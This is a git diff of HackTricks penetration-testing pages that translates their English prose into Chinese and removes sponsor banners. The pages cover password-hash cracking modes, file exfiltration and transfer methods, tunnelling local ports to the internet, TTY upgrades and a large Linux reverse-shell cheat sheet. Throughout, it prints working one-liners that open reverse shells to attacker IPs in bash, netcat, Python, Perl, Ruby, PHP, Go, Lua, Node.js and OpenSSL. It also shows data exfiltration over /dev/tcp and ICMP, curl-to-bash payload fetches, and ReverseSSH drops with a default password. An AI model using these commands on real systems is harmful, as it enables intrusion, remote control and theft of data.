to each word in the wordlist hashcat.exe -a 6 -m 1000 C:\Temp\ntlm.txt \wordlist.txt ?d?d?d?d @@ -868,47 +695,30 @@ hashcat.exe -a 6 -m 1000 C:\Temp\ntlm.txt \wordlist.txt ?d?d?d?d # Mask numbers will be prepended to each word in the wordlist hashcat.exe -a 7 -m 1000 C:\Temp\ntlm.txt ?d?d?d?d \wordlist.txt ``` - -#### Hashcat modes - +#### Hashcat 模式 ```bash hashcat --example-hashes | grep -B1 -A2 "NTLM" ``` - -Cracking Linux Hashes - /etc/shadow file - +破解Linux哈希 - /etc/shadow文件 ``` - 500 | md5crypt $1$, MD5(Unix) | Operating-Systems +500 | md5crypt $1$, MD5(Unix) | Operating-Systems 3200 | bcrypt $2*$, Blowfish(Unix) | Operating-Systems 7400 | sha256crypt $5$, SHA256(Unix) | Operating-Systems 1800 | sha512crypt $6$, SHA512(Unix) | Operating-Systems ``` - -Cracking Windows Hashes - +破解Windows哈希 ``` 3000 | LM | Operating-Systems 1000 | NTLM | Operating-Systems ``` - -Cracking Common Application Hashes - +破解常见应用程序哈希 ``` - 900 | MD4 | Raw Hash - 0 | MD5 | Raw Hash - 5100 | Half MD5 | Raw Hash - 100 | SHA1 | Raw Hash +900 | MD4 | Raw Hash +0 | MD5 | Raw Hash +5100 | Half MD5 | Raw Hash +100 | SHA1 | Raw Hash 10800 | SHA-384 | Raw Hash - 1400 | SHA-256 | Raw Hash - 1700 | SHA-512 | Raw Hash +1400 | SHA-256 | Raw Hash +1700 | SHA-512 | Raw Hash ``` - {{#include ../banners/hacktricks-training.md}} - -
- -\ -Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=brute-force) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\ -Get Access Today: - -{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=brute-force" %} diff --git a/src/generic-hacking/exfiltration.md b/src/generic-hacking/exfiltration.md index 2e5c0c1dd..7d63516a4 100644 --- a/src/generic-hacking/exfiltration.md +++ b/src/generic-hacking/exfiltration.md @@ -1,40 +1,33 @@ -# Exfiltration +# 数据外泄 {{#include ../banners/hacktricks-training.md}} -## Commonly whitelisted domains to exfiltrate information +## 常见的白名单域名以外泄信息 -Check [https://lots-project.com/](https://lots-project.com/) to find commonly whitelisted domains that can be abused +查看 [https://lots-project.com/](https://lots-project.com/) 以查找可以被滥用的常见白名单域名 -## Copy\&Paste Base64 +## 复制\&粘贴 Base64 **Linux** - ```bash base64 -w0 #Encode file base64 -d file #Decode file ``` - **Windows** - ``` certutil -encode payload.dll payload.b64 certutil -decode payload.b64 payload.dll ``` - ## HTTP **Linux** - ```bash wget 10.10.14.14:8000/tcp_pty_backconnect.py -O /dev/shm/.rev.py wget 10.10.14.14:8000/tcp_pty_backconnect.py -P /dev/shm curl 10.10.14.14:8000/shell.py -o /dev/shm/shell.py fetch 10.10.14.14:8000/shell.py #FreeBSD ``` - **Windows** - ```bash certutil -urlcache -split -f http://webserver/payload.b64 payload.b64 bitsadmin /transfer transfName /priority high http://example.com/examplefile.pdf C:\downloads\examplefile.pdf @@ -49,13 +42,11 @@ Start-BitsTransfer -Source $url -Destination $output #OR Start-BitsTransfer -Source $url -Destination $output -Asynchronous ``` - -### Upload files +### 上传文件 - [**SimpleHttpServerWithFileUploads**](https://gist.github.com/UniIsland/3346170) -- [**SimpleHttpServer printing GET and POSTs (also headers)**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149) -- Python module [uploadserver](https://pypi.org/project/uploadserver/): - +- [**SimpleHttpServer 打印 GET 和 POST(以及头部)**](https://gist.github.com/carlospolop/209ad4ed0e06dd3ad099e2fd0ed73149) +- Python 模块 [uploadserver](https://pypi.org/project/uploadserver/): ```bash # Listen to files python3 -m pip install --user uploadserver @@ -68,9 +59,7 @@ curl -X POST http://HOST/upload -H -F 'files=@file.txt' # With basic auth: # curl -X POST http://HOST/upload -H -F 'files=@file.txt' -u hello:world ``` - -### **HTTPS Server** - +### **HTTPS 服务器** ```python # from https://gist.github.com/dergachev/7028596 # taken from http://www.piware.de/2011/01/creating-an-https-server-in-python/ @@ -105,31 +94,25 @@ from urllib.parse import quote app = Flask(__name__) @app.route('/') def root(): - print(request.get_json()) - return "OK" +print(request.get_json()) +return "OK" if __name__ == "__main__": - app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443) +app.run(ssl_context='adhoc', debug=True, host="0.0.0.0", port=8443) ### ``` - ## FTP -### FTP server (python) - +### FTP 服务器 (python) ```bash pip3 install pyftpdlib python3 -m pyftpdlib -p 21 ``` - -### FTP server (NodeJS) - +### FTP 服务器 (NodeJS) ``` sudo npm install -g ftp-srv --save ftp-srv ftp://0.0.0.0:9876 --root /tmp ``` - -### FTP server (pure-ftp) - +### FTP 服务器 (pure-ftp) ```bash apt-get update && apt-get install pure-ftp ``` @@ -147,9 +130,7 @@ mkdir -p /ftphome chown -R ftpuser:ftpgroup /ftphome/ /etc/init.d/pure-ftpd restart ``` - -### **Windows** client - +### **Windows** 客户端 ```bash #Work well with python. With pure-ftp use fusr:ftp echo open 10.11.0.41 21 > ftp.txt @@ -160,37 +141,31 @@ echo GET mimikatz.exe >> ftp.txt echo bye >> ftp.txt ftp -n -v -s:ftp.txt ``` - ## SMB -Kali as server - +Kali 作为服务器 ```bash kali_op1> impacket-smbserver -smb2support kali `pwd` # Share current directory kali_op2> smbserver.py -smb2support name /path/folder # Share a folder #For new Win10 versions impacket-smbserver -smb2support -user test -password test test `pwd` ``` - -Or create a smb share **using samba**: - +或创建一个 smb 共享 **使用 samba**: ```bash apt-get install samba mkdir /tmp/smb chmod 777 /tmp/smb #Add to the end of /etc/samba/smb.conf this: [public] - comment = Samba on Ubuntu - path = /tmp/smb - read only = no - browsable = yes - guest ok = Yes +comment = Samba on Ubuntu +path = /tmp/smb +read only = no +browsable = yes +guest ok = Yes #Start samba service smbd restart ``` - Windows - ```bash CMD-Wind> \\10.10.14.14\path\to\exe CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentials @@ -198,54 +173,42 @@ CMD-Wind> net use z: \\10.10.14.14\test /user:test test #For SMB using credentia WindPS-1> New-PSDrive -Name "new_disk" -PSProvider "FileSystem" -Root "\\10.10.14.9\kali" WindPS-2> cd new_disk: ``` - ## SCP -The attacker has to have SSHd running. - +攻击者必须运行 SSHd。 ```bash scp @:/ ``` - ## SSHFS -If the victim has SSH, the attacker can mount a directory from the victim to the attacker. - +如果受害者有SSH,攻击者可以将受害者的目录挂载到攻击者。 ```bash sudo apt-get install sshfs sudo mkdir /mnt/sshfs sudo sshfs -o allow_other,default_permissions @:/ /mnt/sshfs/ ``` - ## NC - ```bash nc -lvnp 4444 > new_file nc -vn 4444 < exfil_file ``` - ## /dev/tcp -### Download file from victim - +### 从受害者下载文件 ```bash nc -lvnp 80 > file #Inside attacker cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim ``` - -### Upload file to victim - +### 上传文件到受害者 ```bash nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker # Inside victim exec 6< /dev/tcp/10.10.10.10/4444 cat <&6 > file.txt ``` - -thanks to **@BinaryShadow\_** +感谢 **@BinaryShadow\_** ## **ICMP** - ```bash # To exfiltrate the content of a file via pings you can do: xxd -p -c 4 /path/file/exfil | while read line; do ping -c 1 -p $line ; done @@ -256,64 +219,50 @@ xxd -p -c 4 /path/file/exfil | while read line; do ping -c 1 -p $line ``` - -In **victim**, connect to the Kali server: - +在 **victim** 中,连接到 Kali 服务器: ```bash tftp -i get nc.exe ``` - ## PHP -Download a file with a PHP oneliner: - +使用 PHP 一行代码下载文件: ```bash echo "" > down2.php ``` - ## VBScript - ```bash Attacker> python -m SimpleHTTPServer 80 ``` - -**Victim** - +**受害者** ```bash echo strUrl = WScript.Arguments.Item(0) > wget.vbs echo StrFile = WScript.Arguments.Item(1) >> wget.vbs @@ -345,23 +294,16 @@ echo ts.Close >> wget.vbs ```bash cscript wget.vbs http://10.11.0.5/evil.exe evil.exe ``` - ## Debug.exe -The `debug.exe` program not only allows inspection of binaries but also has the **capability to rebuild them from hex**. This means that by providing an hex of a binary, `debug.exe` can generate the binary file. However, it's important to note that debug.exe has a **limitation of assembling files up to 64 kb in size**. - +`debug.exe`程序不仅允许检查二进制文件,还具有**从十六进制重建它们的能力**。这意味着通过提供二进制文件的十六进制,`debug.exe`可以生成二进制文件。然而,重要的是要注意,debug.exe有**组装文件大小限制为64 kb**。 ```bash # Reduce the size upx -9 nc.exe wine exe2bat.exe nc.exe nc.txt ``` - -Then copy-paste the text into the windows-shell and a file called nc.exe will be created. - -- [https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html](https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html) +然后将文本复制粘贴到 Windows Shell 中,将创建一个名为 nc.exe 的文件。 ## DNS -- [https://github.com/62726164/dns-exfil](https://github.com/62726164/dns-exfil) - {{#include ../banners/hacktricks-training.md}} diff --git a/src/generic-hacking/reverse-shells/README.md b/src/generic-hacking/reverse-shells/README.md index 9f8253367..4b8ea629e 100644 --- a/src/generic-hacking/reverse-shells/README.md +++ b/src/generic-hacking/reverse-shells/README.md @@ -8,7 +8,7 @@ # [**Full TTYs**](full-ttys.md) -# **Auto-generated shells** +# **自动生成的 Shell** - [**https://reverse-shell.sh/**](https://reverse-shell.sh/) - [**https://www.revshells.com/**](https://www.revshells.com/) diff --git a/src/generic-hacking/reverse-shells/expose-local-to-the-internet.md b/src/generic-hacking/reverse-shells/expose-local-to-the-internet.md index b52276fda..cf3c52712 100644 --- a/src/generic-hacking/reverse-shells/expose-local-to-the-internet.md +++ b/src/generic-hacking/reverse-shells/expose-local-to-the-internet.md @@ -1,13 +1,12 @@ -# Expose local to the internet +# 将本地暴露到互联网 {{#include ../../banners/hacktricks-training.md}} -**The goal of this page is to propose alternatives that allow AT LEAST to expose local raw TCP ports and local webs (HTTP) to the internet WITHOUT needing to install anything in the other server (only in local if needed).** +**本页面的目标是提出替代方案,至少允许将本地原始 TCP 端口和本地网页 (HTTP) 暴露到互联网,而无需在其他服务器上安装任何东西(仅在本地需要时)。** ## **Serveo** -From [https://serveo.net/](https://serveo.net/), it allows several http and port forwarding features **for free**. - +来自 [https://serveo.net/](https://serveo.net/),它允许多种 HTTP 和端口转发功能 **免费**。 ```bash # Get a random port from serveo.net to expose local port 4444 ssh -R 0:localhost:4444 serveo.net @@ -15,11 +14,9 @@ ssh -R 0:localhost:4444 serveo.net # Expose a web listening in localhost:300 in a random https URL ssh -R 80:localhost:3000 serveo.net ``` - ## SocketXP -From [https://www.socketxp.com/download](https://www.socketxp.com/download), it allows to expose tcp and http: - +从 [https://www.socketxp.com/download](https://www.socketxp.com/download) ,它允许暴露 tcp 和 http: ```bash # Expose tcp port 22 socketxp connect tcp://localhost:22 @@ -27,11 +24,9 @@ socketxp connect tcp://localhost:22 # Expose http port 8080 socketxp connect http://localhost:8080 ``` - ## Ngrok -From [https://ngrok.com/](https://ngrok.com/), it allows to expose http and tcp ports: - +来自 [https://ngrok.com/](https://ngrok.com/),它允许暴露 http 和 tcp 端口: ```bash # Expose web in 3000 ngrok http 8000 @@ -39,11 +34,9 @@ ngrok http 8000 # Expose port in 9000 (it requires a credit card, but you won't be charged) ngrok tcp 9000 ``` - ## Telebit -From [https://telebit.cloud/](https://telebit.cloud/) it allows to expose http and tcp ports: - +从 [https://telebit.cloud/](https://telebit.cloud/) 它允许暴露 http 和 tcp 端口: ```bash # Expose web in 3000 /Users/username/Applications/telebit/bin/telebit http 3000 @@ -51,11 +44,9 @@ From [https://telebit.cloud/](https://telebit.cloud/) it allows to expose http a # Expose port in 9000 /Users/username/Applications/telebit/bin/telebit tcp 9000 ``` - ## LocalXpose -From [https://localxpose.io/](https://localxpose.io/), it allows several http and port forwarding features **for free**. - +来自 [https://localxpose.io/](https://localxpose.io/),它提供多个 http 和端口转发功能 **免费**。 ```bash # Expose web in port 8989 loclx tunnel http -t 8989 @@ -63,11 +54,9 @@ loclx tunnel http -t 8989 # Expose tcp port in 4545 (requires pro) loclx tunnel tcp --port 4545 ``` - ## Expose -From [https://expose.dev/](https://expose.dev/) it allows to expose http and tcp ports: - +从 [https://expose.dev/](https://expose.dev/) 它允许暴露 http 和 tcp 端口: ```bash # Expose web in 3000 ./expose share http://localhost:3000 @@ -75,14 +64,11 @@ From [https://expose.dev/](https://expose.dev/) it allows to expose http and tcp # Expose tcp port in port 4444 (REQUIRES PREMIUM) ./expose share-port 4444 ``` - ## Localtunnel -From [https://github.com/localtunnel/localtunnel](https://github.com/localtunnel/localtunnel) it allows to expose http for free: - +来自 [https://github.com/localtunnel/localtunnel](https://github.com/localtunnel/localtunnel),它允许免费暴露 http: ```bash # Expose web in port 8000 npx localtunnel --port 8000 ``` - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-hacking/reverse-shells/full-ttys.md b/src/generic-hacking/reverse-shells/full-ttys.md index 32d0eb1d5..c7da49324 100644 --- a/src/generic-hacking/reverse-shells/full-ttys.md +++ b/src/generic-hacking/reverse-shells/full-ttys.md @@ -1,37 +1,26 @@ -# Full TTYs +# 完整 TTYs {{#include ../../banners/hacktricks-training.md}} -
+## 完整 TTY -Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified: - -{% embed url="https://academy.8ksec.io/" %} - -## Full TTY - -Note that the shell you set in the `SHELL` variable **must** be **listed inside** _**/etc/shells**_ or `The value for the SHELL variable was not found in the /etc/shells file This incident has been reported`. Also, note that the next snippets only work in bash. If you're in a zsh, change to a bash before obtaining the shell by running `bash`. +请注意,您在 `SHELL` 变量中设置的 shell **必须** 在 _**/etc/shells**_ 中 **列出**,否则会出现 `The value for the SHELL variable was not found in the /etc/shells file This incident has been reported`。此外,请注意,以下代码片段仅在 bash 中有效。如果您在 zsh 中,请在获取 shell 之前通过运行 `bash` 切换到 bash。 #### Python - ```bash python3 -c 'import pty; pty.spawn("/bin/bash")' (inside the nc session) CTRL+Z;stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset; ``` - > [!NOTE] -> You can get the **number** of **rows** and **columns** executing **`stty -a`** +> 您可以通过执行 **`stty -a`** 获取 **行** 和 **列** 的 **数量** #### script - ```bash script /dev/null -qc /bin/bash #/dev/null is to not store anything (inside the nc session) CTRL+Z;stty raw -echo; fg; ls; export SHELL=/bin/bash; export TERM=screen; stty rows 38 columns 116; reset; ``` - #### socat - ```bash #Listener: socat file:`tty`,raw,echo=0 tcp-listen:4444 @@ -39,8 +28,7 @@ socat file:`tty`,raw,echo=0 tcp-listen:4444 #Victim: socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444 ``` - -### **Spawn shells** +### **生成shell** - `python -c 'import pty; pty.spawn("/bin/sh")'` - `echo os.system('/bin/bash')` @@ -57,39 +45,32 @@ socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:10.0.3.4:4444 ## ReverseSSH -A convenient way for **interactive shell access**, as well as **file transfers** and **port forwarding**, is dropping the statically-linked ssh server [ReverseSSH](https://github.com/Fahrj/reverse-ssh) onto the target. +一种方便的**交互式shell访问**、**文件传输**和**端口转发**的方法是将静态链接的ssh服务器[ReverseSSH](https://github.com/Fahrj/reverse-ssh)放到目标上。 -Below is an example for `x86` with upx-compressed binaries. For other binaries, check [releases page](https://github.com/Fahrj/reverse-ssh/releases/latest/). - -1. Prepare locally to catch the ssh port forwarding request: +以下是针对`x86`的示例,使用了upx压缩的二进制文件。有关其他二进制文件,请查看[发布页面](https://github.com/Fahrj/reverse-ssh/releases/latest/)。 +1. 在本地准备以捕获ssh端口转发请求: ```bash # Drop it via your preferred way, e.g. wget -q https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86 -O /dev/shm/reverse-ssh && chmod +x /dev/shm/reverse-ssh /dev/shm/reverse-ssh -v -l -p 4444 ``` - -- (2a) Linux target: - +- (2a) Linux 目标: ```bash # Drop it via your preferred way, e.g. wget -q https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86 -O /dev/shm/reverse-ssh && chmod +x /dev/shm/reverse-ssh /dev/shm/reverse-ssh -p 4444 kali@10.0.0.2 ``` - -- (2b) Windows 10 target (for earlier versions, check [project readme](https://github.com/Fahrj/reverse-ssh#features)): - +- (2b) Windows 10 目标(对于早期版本,请查看 [project readme](https://github.com/Fahrj/reverse-ssh#features)): ```bash # Drop it via your preferred way, e.g. certutil.exe -f -urlcache https://github.com/Fahrj/reverse-ssh/releases/latest/download/upx_reverse-sshx86.exe reverse-ssh.exe reverse-ssh.exe -p 4444 kali@10.0.0.2 ``` - -- If the ReverseSSH port forwarding request was successful, you should now be able to log in with the default password `letmeinbrudipls` in the context of the user running `reverse-ssh(.exe)`: - +- 如果 ReverseSSH 端口转发请求成功,您现在应该能够使用默认密码 `letmeinbrudipls` 登录,前提是以运行 `reverse-ssh(.exe)` 的用户身份: ```bash # Interactive shell access ssh -p 8888 127.0.0.1 @@ -97,25 +78,16 @@ ssh -p 8888 127.0.0.1 # Bidirectional file transfer sftp -P 8888 127.0.0.1 ``` - ## Penelope -[Penelope](https://github.com/brightio/penelope) automatically upgrades Linux reverse shells to TTY, handles the terminal size, logs everything and much more. Also it provides readline support for Windows shells. +[Penelope](https://github.com/brightio/penelope) 自动将 Linux 反向 shell 升级为 TTY,处理终端大小,记录所有内容等等。它还为 Windows shell 提供 readline 支持。 ![penelope](https://github.com/user-attachments/assets/27ab4b3a-780c-4c07-a855-fd80a194c01e) ## No TTY -If for some reason you cannot obtain a full TTY you **still can interact with programs** that expect user input. In the following example, the password is passed to `sudo` to read a file: - +如果由于某种原因您无法获得完整的 TTY,您 **仍然可以与期望用户输入的程序交互**。在以下示例中,密码被传递给 `sudo` 以读取文件: ```bash expect -c 'spawn sudo -S cat "/root/root.txt";expect "*password*";send "";send "\r\n";interact' ``` - -
- -Deepen your expertise in **Mobile Security** with 8kSec Academy. Master iOS and Android security through our self-paced courses and get certified: - -{% embed url="https://academy.8ksec.io/" %} - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/generic-hacking/reverse-shells/linux.md b/src/generic-hacking/reverse-shells/linux.md index c1caa101d..bd45b2e9e 100644 --- a/src/generic-hacking/reverse-shells/linux.md +++ b/src/generic-hacking/reverse-shells/linux.md @@ -2,14 +2,13 @@ {{#include ../../banners/hacktricks-training.md}} -**If you have questions about any of these shells you could check them with** [**https://explainshell.com/**](https://explainshell.com) +**如果你对这些shell有任何疑问,可以查看** [**https://explainshell.com/**](https://explainshell.com) ## Full TTY -**Once you get a reverse shell**[ **read this page to obtain a full TTY**](full-ttys.md)**.** +**一旦你获得了一个反向shell**[ **请阅读此页面以获取完整的TTY**](full-ttys.md)**。** ## Bash | sh - ```bash curl https://reverse-shell.sh/1.1.1.1:3000 | bash bash -i >& /dev/tcp// 0>&1 @@ -22,11 +21,9 @@ exec 5<>/dev/tcp//; while read line 0<&5; do $line 2>&5 >&5; #after getting the previous shell to get the output to execute exec >&0 ``` +不要忘记检查其他 shell:sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh 和 bash。 -Don't forget to check with other shells: sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh, and bash. - -### Symbol safe shell - +### 符号安全 shell ```bash #If you need a more stable connection do: bash -c 'bash -i >& /dev/tcp// 0>&1' @@ -35,74 +32,66 @@ bash -c 'bash -i >& /dev/tcp// 0>&1' #B64 encode the shell like: echo "bash -c 'bash -i >& /dev/tcp/10.8.4.185/4444 0>&1'" | base64 -w0 echo bm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjQuMTg1LzQ0NDQgMD4mMScK | base64 -d | bash 2>/dev/null ``` +#### Shell 解释 -#### Shell explanation - -1. **`bash -i`**: This part of the command starts an interactive (`-i`) Bash shell. -2. **`>&`**: This part of the command is a shorthand notation for **redirecting both standard output** (`stdout`) and **standard error** (`stderr`) to the **same destination**. -3. **`/dev/tcp//`**: This is a special file that **represents a TCP connection to the specified IP address and port**. - - By **redirecting the output and error streams to this file**, the command effectively sends the output of the interactive shell session to the attacker's machine. -4. **`0>&1`**: This part of the command **redirects standard input (`stdin`) to the same destination as standard output (`stdout`)**. - -### Create in file and execute +1. **`bash -i`**: 该命令的这一部分启动一个交互式 (`-i`) Bash shell。 +2. **`>&`**: 该命令的这一部分是 **重定向标准输出** (`stdout`) 和 **标准错误** (`stderr`) 到 **同一目的地** 的简写表示法。 +3. **`/dev/tcp//`**: 这是一个特殊文件,**表示与指定 IP 地址和端口的 TCP 连接**。 +- 通过 **将输出和错误流重定向到此文件**,该命令有效地将交互式 shell 会话的输出发送到攻击者的机器。 +4. **`0>&1`**: 该命令的这一部分 **将标准输入 (`stdin`) 重定向到与标准输出 (`stdout`) 相同的目的地**。 +### 创建文件并执行 ```bash echo -e '#!/bin/bash\nbash -i >& /dev/tcp/1/ 0>&1' > /tmp/sh.sh; bash /tmp/sh.sh; wget http:///shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.sh ``` - ## Forward Shell -When dealing with a **Remote Code Execution (RCE)** vulnerability within a Linux-based web application, achieving a reverse shell might be obstructed by network defenses like iptables rules or intricate packet filtering mechanisms. In such constrained environments, an alternative approach involves establishing a PTY (Pseudo Terminal) shell to interact with the compromised system more effectively. +在处理基于 Linux 的 Web 应用程序中的 **Remote Code Execution (RCE)** 漏洞时,实现反向 shell 可能会受到网络防御的阻碍,例如 iptables 规则或复杂的数据包过滤机制。在这种受限环境中,另一种方法是建立一个 PTY(伪终端)shell,以更有效地与被攻陷的系统进行交互。 -A recommended tool for this purpose is [toboggan](https://github.com/n3rada/toboggan.git), which simplifies interaction with the target environment. - -To utilize toboggan effectively, create a Python module tailored to the RCE context of your target system. For example, a module named `nix.py` could be structured as follows: +推荐的工具是 [toboggan](https://github.com/n3rada/toboggan.git),它简化了与目标环境的交互。 +要有效使用 toboggan,请创建一个针对目标系统 RCE 上下文的 Python 模块。例如,一个名为 `nix.py` 的模块可以结构如下: ```python3 import jwt import httpx def execute(command: str, timeout: float = None) -> str: - # Generate JWT Token embedding the command, using space-to-${IFS} substitution for command execution - token = jwt.encode( - {"cmd": command.replace(" ", "${IFS}")}, "!rLsQaHs#*&L7%F24zEUnWZ8AeMu7^", algorithm="HS256" - ) +# Generate JWT Token embedding the command, using space-to-${IFS} substitution for command execution +token = jwt.encode( +{"cmd": command.replace(" ", "${IFS}")}, "!rLsQaHs#*&L7%F24zEUnWZ8AeMu7^", algorithm="HS256" +) - response = httpx.get( - url="https://vulnerable.io:3200", - headers={"Authorization": f"Bearer {token}"}, - timeout=timeout, - # ||BURP|| - verify=False, - ) +response = httpx.get( +url="https://vulnerable.io:3200", +headers={"Authorization": f"Bearer {token}"}, +timeout=timeout, +# ||BURP|| +verify=False, +) - # Check if the request was successful - response.raise_for_status() +# Check if the request was successful +response.raise_for_status() - return response.text +return response.text ``` - -And then, you can run: - +然后,您可以运行: ```shell toboggan -m nix.py -i ``` +直接利用交互式 shell。您可以添加 `-b` 以实现 Burpsuite 集成,并移除 `-i` 以获得更基本的 rce 包装器。 -To directly leverage an interractive shell. You can add `-b` for Burpsuite integration and remove the `-i` for a more basic rce wrapper. +另一种可能性是使用 `IppSec` 的前向 shell 实现 [**https://github.com/IppSec/forward-shell**](https://github.com/IppSec/forward-shell)。 -Another possibility consist using the `IppSec` forward shell implementation [**https://github.com/IppSec/forward-shell**](https://github.com/IppSec/forward-shell). +您只需修改: -You just need to modify: +- 漏洞主机的 URL +- 有效负载的前缀和后缀(如果有的话) +- 有效负载的发送方式(头部?数据?额外信息?) -- The URL of the vulnerable host -- The prefix and suffix of your payload (if any) -- The way the payload is sent (headers? data? extra info?) - -Then, you can just **send commands** or even **use the `upgrade` command** to get a full PTY (note that pipes are read and written with an approximate 1.3s delay). +然后,您可以直接 **发送命令**,甚至 **使用 `upgrade` 命令** 来获取完整的 PTY(请注意,管道的读取和写入大约有 1.3 秒的延迟)。 ## Netcat - ```bash nc -e /bin/sh nc | /bin/sh #Blind @@ -110,42 +99,32 @@ rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc >/tmp nc | /bin/bash | nc rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0 1>/tmp/bkpipe ``` - ## gsocket -Check it in [https://www.gsocket.io/deploy/](https://www.gsocket.io/deploy/) - +在 [https://www.gsocket.io/deploy/](https://www.gsocket.io/deploy/) 中查看 ```bash bash -c "$(curl -fsSL gsocket.io/x)" ``` - ## Telnet - ```bash telnet | /bin/sh #Blind rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet >/tmp/f telnet | /bin/bash | telnet rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0 1>/tmp/bkpipe ``` - ## Whois -**Attacker** - +**攻击者** ```bash while true; do nc -l ; done ``` +要发送命令,请写下它,按回车,然后按CTRL+D(以停止STDIN) -To send the command write it down, press enter and press CTRL+D (to stop STDIN) - -**Victim** - +**受害者** ```bash export X=Connected; while true; do X=`eval $(whois -h -p "Output: $X")`; sleep 1; done ``` - ## Python - ```bash #Linux export RHOST="127.0.0.1";export RPORT=12345;python -c 'import sys,socket,os,pty;s=socket.socket();s.connect((os.getenv("RHOST"),int(os.getenv("RPORT"))));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("/bin/sh")' @@ -153,23 +132,17 @@ python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOC #IPv6 python -c 'import socket,subprocess,os,pty;s=socket.socket(socket.AF_INET6,socket.SOCK_STREAM);s.connect(("dead:beef:2::125c",4343,0,2));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=pty.spawn("/bin/sh");' ``` - ## Perl - ```bash perl -e 'use Socket;$i="";$p=80;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};' perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"[IPADDR]:[PORT]");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;' ``` - -## Ruby - +## 红宝石 ```bash ruby -rsocket -e'f=TCPSocket.open("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)' ruby -rsocket -e 'exit if fork;c=TCPSocket.new("[IPADDR]","[PORT]");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end' ``` - ## PHP - ```php // Using 'exec' is the most common method, but assumes that the file descriptor will be 3. // Using this method may lead to instances where the connection reaches out to the listener and then closes. @@ -181,51 +154,41 @@ php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");' /dev/tcp/10.10.14.8/4444 0>&1'"); ?> ``` - ## Java - ```bash r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ATTACKING-IP/80;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor() ``` - ## Ncat - ```bash victim> ncat --ssl -c "bash -i 2>&1" attacker> ncat -l --ssl ``` - ## Golang - ```bash echo 'package main;import"os/exec";import"net";func main(){c,_:=net.Dial("tcp","192.168.0.134:8080");cmd:=exec.Command("/bin/sh");cmd.Stdin=c;cmd.Stdout=c;cmd.Stderr=c;cmd.Run()}' > /tmp/t.go && go run /tmp/t.go && rm /tmp/t.go ``` - ## Lua - ```bash #Linux lua -e "require('socket');require('os');t=socket.tcp();t:connect('10.0.0.1','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');" #Windows & Linux lua5.1 -e 'local host, port = "127.0.0.1", 4444 local socket = require("socket") local tcp = socket.tcp() local io = require("io") tcp:connect(host, port); while true do local cmd, status, partial = tcp:receive() local f = io.popen(cmd, 'r') local s = f:read("*a") f:close() tcp:send(s) if status == "closed" then break end end tcp:close()' ``` - ## NodeJS - ```javascript (function(){ - var net = require("net"), - cp = require("child_process"), - sh = cp.spawn("/bin/sh", []); - var client = new net.Socket(); - client.connect(8080, "10.17.26.64", function(){ - client.pipe(sh.stdin); - sh.stdout.pipe(client); - sh.stderr.pipe(client); - }); - return /a/; // Prevents the Node.js application form crashing +var net = require("net"), +cp = require("child_process"), +sh = cp.spawn("/bin/sh", []); +var client = new net.Socket(); +client.connect(8080, "10.17.26.64", function(){ +client.pipe(sh.stdin); +sh.stdout.pipe(client); +sh.stderr.pipe(client); +}); +return /a/; // Prevents the Node.js application form crashing })(); @@ -256,19 +219,15 @@ or https://gitlab.com/0x4ndr3/blog/blob/master/JSgen/JSgen.py ``` - ## OpenSSL -The Attacker (Kali) - +攻击者 (Kali) ```bash openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Generate certificate openssl s_server -quiet -key key.pem -cert cert.pem -port #Here you will be able to introduce the commands openssl s_server -quiet -key key.pem -cert cert.pem -port #Here yo will be able to get the response ``` - -The Victim - +受害者 ```bash #Linux openssl s_client -quiet -connect :|/bin/bash|openssl s_client -quiet -connect : @@ -276,103 +235,84 @@ openssl s_client -quiet -connect :|/bin/bash|openssl s_clien #Windows openssl.exe s_client -quiet -connect :|cmd.exe|openssl s_client -quiet -connect : ``` - ## **Socat** [https://github.com/andrew-d/static-binaries](https://github.com/andrew-d/static-binaries) -### Bind shell - +### 